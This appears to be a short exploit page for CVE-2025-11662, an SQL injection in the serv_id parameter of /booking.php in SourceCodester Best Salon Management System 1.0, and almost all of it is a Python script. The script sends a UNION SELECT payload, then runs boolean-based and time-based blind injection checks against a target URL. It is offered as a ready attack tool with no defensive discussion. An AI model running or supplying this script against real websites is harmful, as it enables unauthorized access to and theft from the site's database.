CVE-2025-11662：SourceCodester Best Salon管理系统SQL注入漏洞

# CVE-2025-11662 - SourceCodester Best Salon Management System 1.0 # SQL Injection via serv_id parameter in /booking.php import requests TARGET_URL = "http://target.com/booking.php" # Normal request payload payload = { "serv_id": "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -", # Other necessary POST parameters for booking } # Exploit request response = requests.post(TARGET_URL, data=payload) print(response.text) # Alternative: Boolean-based blind injection def check_injection(url, param_name): # Test for boolean-based blind injection true_payload = f"1' AND 1=1-- -" false_payload = f"1' AND 1=2-- -" true_resp = requests.post(url, data={param_name: true_payload}) false_resp = requests.post(url, data={param_name: false_payload}) if true_resp.text != false_resp.text: print(f"[+] Boolean-based blind SQL injection confirmed at parameter: {param_name}") return True return False # Time-based blind injection def time_based_injection(url, param_name): payload = f"1' AND SLEEP(5)-- -" import time start = time.time() requests.post(url, data={param_name: payload}) elapsed = time.time() - start if elapsed >= 5: print(f"[+] Time-based blind SQL injection confirmed at parameter: {param_name}") return True return False if __name__ == "__main__": check_injection(TARGET_URL, "serv_id") time_based_injection(TARGET_URL, "serv_id")